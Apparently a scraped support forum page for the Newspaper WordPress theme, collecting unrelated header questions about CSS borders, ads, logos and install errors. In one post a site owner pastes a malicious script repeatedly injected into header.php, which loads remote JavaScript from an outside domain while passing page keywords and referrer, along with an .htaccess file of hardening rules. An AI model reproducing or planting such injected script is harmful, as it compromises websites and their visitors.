- NewspaperHeader Builder
- NewsmagHeader styles
- NewsmagHeader ads
- NewspaperHeader ads
- NewspaperHeader styles
- Apitd_api_header_style::delete
- Apitd_api_header_style::update_key
- Apitd_api_header_style::update
- Apitd_api_header_style::add
- ApiAPI – Header style – Introduction
- NewspaperSearch setup for custom post type
- NewspapertagDiv Composer – Website Manager
- NewspaperBookmark – Save For Later
- NewspaperWooCommerce: Happy “Add to Favorites!”
- NewspaperModal Popup
- NewspaperFlex Block Settings Guide
- NewspaperPosts Loop Element
- NewspaperHow to Add a Logo in Newspaper
- NewspaperDefault Category Settings
- NewspaperWhen tagDiv Composer is Not Working
In the demo here http://demo.tagdiv.com/newspaper/video-playlist/
The playlist is in the header area, was thinking I could use a playlist in post style 10, but it looks like it can only be created with a short code, therefor its not going to work with post style 10 like how it looks in that demo above????
So, what is this code found in header.php?
<head>
<title><?php wp_title('|', true, 'right'); ?></title>
<meta charset="<?php bloginfo( 'charset' );?>" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
<?php
wp_head(); /** we hook up in wp_booster @see td_wp_booster_functions::hook_wp_head */
?>
</head>
Now it worked 🙂
Changing it to 3000000 and then back to 1 for both delay and speed was a success.
/* ----------------------------------------------------------------------------
On load
*/
// header menu
jQuery('#td-header-menu .sf-menu').supersubs({
minWidth: 10, // minimum width of sub-menus in em units
maxWidth: 40, // maximum width of sub-menus in em units
extraWidth: 1 // extra width can ensure lines don't sometimes turn over
});
if (tdDetect.isTouchDevice) {
//touch
jQuery('#td-header-menu .sf-menu').superfish({
speed:'fast',
delay;1,
useClick:true
});
} else {
//not touch
jQuery('#td-header-menu .sf-menu').superfish({
speed:1,
delay:1,
useClick:false
});
}
})();
Thanks Bogdan 😉
Hi,
You can try this css code:
.td-header-top-menu-full{
border-bottom: 1px solid #e0e0e0!important;
}
.td-social-icon-wrap{
border-left:1px solid grey;
}
Thank you!
Hello mystudent,
Please try the below code.
.td-header-top-menu-full {
padding-bottom:1px;
}
.td-header-top-menu {
border:1px solid white;
}
Thanks.
Hi,
sorry but that doesn’t make any difference. all plugins deactivated except visual builder and still getting: The “plugin does not have a valid header.”
Can I install it via normal “upload plugin”
Thanks for reply.
But i mean how to add top header menu border (bar) of 1px and similarly vertical bar between social icons only, ultimately boxing them only. Hope you get me.
Hello mystudent,
If you want to add a border to your top menu bar, you will have to use a bit of CSS code to do that. Please try the code below and place it in Theme panel->Custom CSS area.
The code is ->
.td-header-sp-top-menu {
border:1px solid white;
}
The result -> http://screencast.com/t/zXzt2Tj0VXp
Thanks.
Hello dalanredd,
Please ensure that you have added your Google Adsense code in the correct fields n order to achieve best results. For more information about our Ads, please check our documentation here -> https://forum.tagdiv.com/header-ads-adsense/ -> https://forum.tagdiv.com/sidebar-ads/ Also, please notice that our theme only renders the code which you have added in certain filed and do not influence the structure of your ad code. So, if your ads still not working, please consult the Google Adsense department because it is possible that your code to be broken and they will have to be able to provide a more accurate response and should guide you on the right direction.
Hope this helps!
Thanks for your understanding!
Hi,
How do they manage to insert this malware script on header.php everytime i delete it ?
i have added extra security in .htaccess i have changed database prefix from default wp_ to something else much harder to guess.
what elese am i doing wrong ?
this is the code i keep finding in header.php
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://african-ancestries.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://african-ancestries.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
and this is my .htaccess
text/x-generic .htaccess ( ASCII English text )
# Wordfence WAF
<IfModule mod_suphp.c>
suPHP_ConfigPath '/home/anunturi/public_html/test/newspaper'
</IfModule>
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
#Restrict Access to the Admin
ErrorDocument 401 /public_html/test/newspaper/index.php?error=404
ErrorDocument 403 /public_html/test/newspaper/index.php?error=404
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_URI} ^(.*)?wp-login\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)?wp-admin$
RewriteCond %{REMOTE_ADDR} !^86.15.89.142$
RewriteRule ^(.*)$ - [R=403,L]
</IfModule>
#Prevent Directory Browsing
Options All -Indexes
#Restrict Access to PHP Files
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/directory/to/exclude/
RewriteRule wp-content/plugins/(.*\.php)$ - [R=404,L]
RewriteCond %{REQUEST_URI} !^/wp-content/themes/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/themes/directory/to/exclude/
RewriteRule wp-content/themes/(.*\.php)$ - [R=404,L]
#Protect Your Site Against Script Injections
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
#Securing the wp-includes Directory
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>
#Prevent Username Enumeration
RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]
Order Deny,Allow
Deny from 201.79.174.162
Deny from 116.110.194.204
Deny from 31.135.26.61
Deny from 201.133.219.84
Deny from 46.118.113.186
Deny from 86.15.89.142
Deny from 2607:f298:0006:a056:0000:0000:02cb:020d
Deny from 79.135.237.82
Deny from 184.168.152.165
Deny from 50.62.161.99
Deny from 23.238.20.43
Deny from 61.63.25.210
Deny from 50.62.176.36
Deny from 37.61.233.106
Deny from 50.62.176.36
Deny from 70.39.151.44
Deny from 184.168.152.165
Deny from 23.238.20.43
Deny from 184.168.200.229
Deny from 184.168.27.198
Deny from 46.252.205.134
Deny from 208.109.52.46
Deny from 50.62.176.45
Deny from 108.170.8.242
Deny from 184.168.152.165
Deny from 198.71.228.12
Deny from 77.232.68.17
i ended up getting blocked by google … please help
thanks
Hello,
Our theme has no option for rotating ads. The theme only renders a single ad you place in the header ad spot. If you require this feature then you can use a plugin to do it. We have no tested one to recommend but we are getting reports that ‘adrotate’ works properly with our theme.
Thank you!
Hello,
Please provide more details to your request. Provide a link we can inspect to see why the header is cut. 272 px seems too small for a header ad. We will need to see what header style you use.
Thank you!
Hi,
Unfortunately the theme has no such option. If you have the proper coding skill, you could add a condition to the ad codes: https://codex.wordpress.org/Function_Reference/get_post_status You can find the proper file to edit here:
inline ads: http://screencast.com/t/bCTcl4rNKo
header ad: http://screencast.com/t/Qe0YyYzYAiY
Hope this helps.
Thanks.
Buna
Cea mai simpla modalitate este adaugarea tiker-ului in header. Urmand exemplul de mai jos vei avea News-tiker-ul afisat pe orice pageina sau post: http://screencast.com/t/XuEg8wngEPZ
<?php echo do_shortcode('[vc_row][vc_column][td_block_trending_now][/vc_column][/vc_row]'); ?>
Codul de mai sus trebuie adaugat in fisierul corespunzator cu stilul de header folosit. Eu am exemplificat pentru header-style 1.
Multumeasc.
Hi
You have to edit header-style-5.php and paste this code here: http://screencast.com/t/AHwh3qtqqiG
<div class="td-header-row td-header-top-menu td-container">
<?php locate_template('parts/header/top-widget.php', true); ?>
</div>
Also you’ll need this css in theme pabnel > custom code > custom css: http://screencast.com/t/yirv2GdkFld
.td-header-row.td-container {
width: 1021px;
}
.td-header-style-5 .td-header-sp-top-widget i{
color: black;
}
Thanks!
Thank you very much, it worked exactly as i was expecting and searching for long time.
STILL ONE QUESTION
how to obtain TOP Bar Menu like http://www.bollywoodbubble.com (AND help for as Main Header Menu will be extra but not ncessary)
Any css code to obatin this?
I am eagerly waiting for your help again.
Thanks.
how to add top bar menu border of 1px i.e full bar to menu.
i am using newspaper 7 default demo and header style 1.
please suggest me.
Google Adsense doesn’t show up on any pages or in any positions (header – sidebar – ect) —
I’m tryng to have an Home page with 5 post on top on a Big Grid with order that i need and after all the other articles using block3 templete except the 5 articles that are in the big grid.
But something do not works
Some articles that are on big grid are repeated on the block3
some articles that must to be on block 3 dare not shown
This is my code.
Where I’m wrong?
[vc_row][vc_column][td_block_big_grid post_ids=”62014,62008,62003,61995,61951″][/vc_column][/vc_row][vc_row el_class="td-ss-row td-top-border"][vc_column width="2/3"][vc_column_text]
<p style=”text-align: center;”>[adrotate banner=”43″]</p>
[/vc_column_text][td_block_3 custom_title="ULTIME NOTIZIE" header_text_color="#ffffff" header_color="#4b972a" border_top="no_border_top" limit="" offset="5" td_filter_default_txt="Tutto" ajax_pagination="infinite" ajax_pagination_infinite_stop="3"][/vc_column][vc_column width="1/3"][vc_widget_sidebar sidebar_id="td-home-sidebar"][/vc_column][/vc_row][vc_row][vc_column][/vc_column][/vc_row]
Warning: Class __PHP_Incomplete_Class has no unserializer in /home/content/a2pnexwpnas01_data02/21/3320721/html/wp-content/object-cache.php on line 520
Warning: Cannot modify header information – headers already sent by (output started at /home/content/a2pnexwpnas01_data02/21/3320721/html/wp-content/object-cache.php:520) in /home/content/a2pnexwpnas01_data02/21/3320721/html/wp-includes/pluggable.php on line 1171
Above is the error displayed and page could not be open from laptop or pc. And also, sometimes this error appears at the top of page when opening from mobile browser. HELP..!!!!!!!!!!!
Hello Andrei,
how can I do that using header 10? This is my website: http://pedrocheck.esy.es/
thanks a lot!
M.
Hiya!
I’ve just created my own online newspaper and I’d like to know how can I add rotating banners on my Newspaper Theme, because I have some 728×90 Leaderboard banners and I want to insert them in the header, near to the title.
Please Help me!!!
Thank you in advance!
After I install the theme via FTP to wp-content/themes, I find added theme appears at themes folder. However, when I go back to the “manage theme”, there is no new theme, and said:
Broken Themes
The following themes are installed but incomplete.
Name Description
Newspaper Template is missing. Standalone themes need to have a index.php template file. Child themes need to have a Template header in the style.css stylesheet.
What’s going on? How was I done? PLS help.
Help, when i upload my logo (272x90px)in the header, the page cut it automatically to 150x90px and show only a part of it.
I´ve upload the original Newspaper’s logo too but the page still cut it the same.
Is it possible to resize the width of the logo or to restore to original size (272×90)?
Tanks.
Hi,
I get this: “The plugin does not have a valid header.” when trying to install mobile theme OR social counter plugins.
any ideas what’s causing this and how to fix?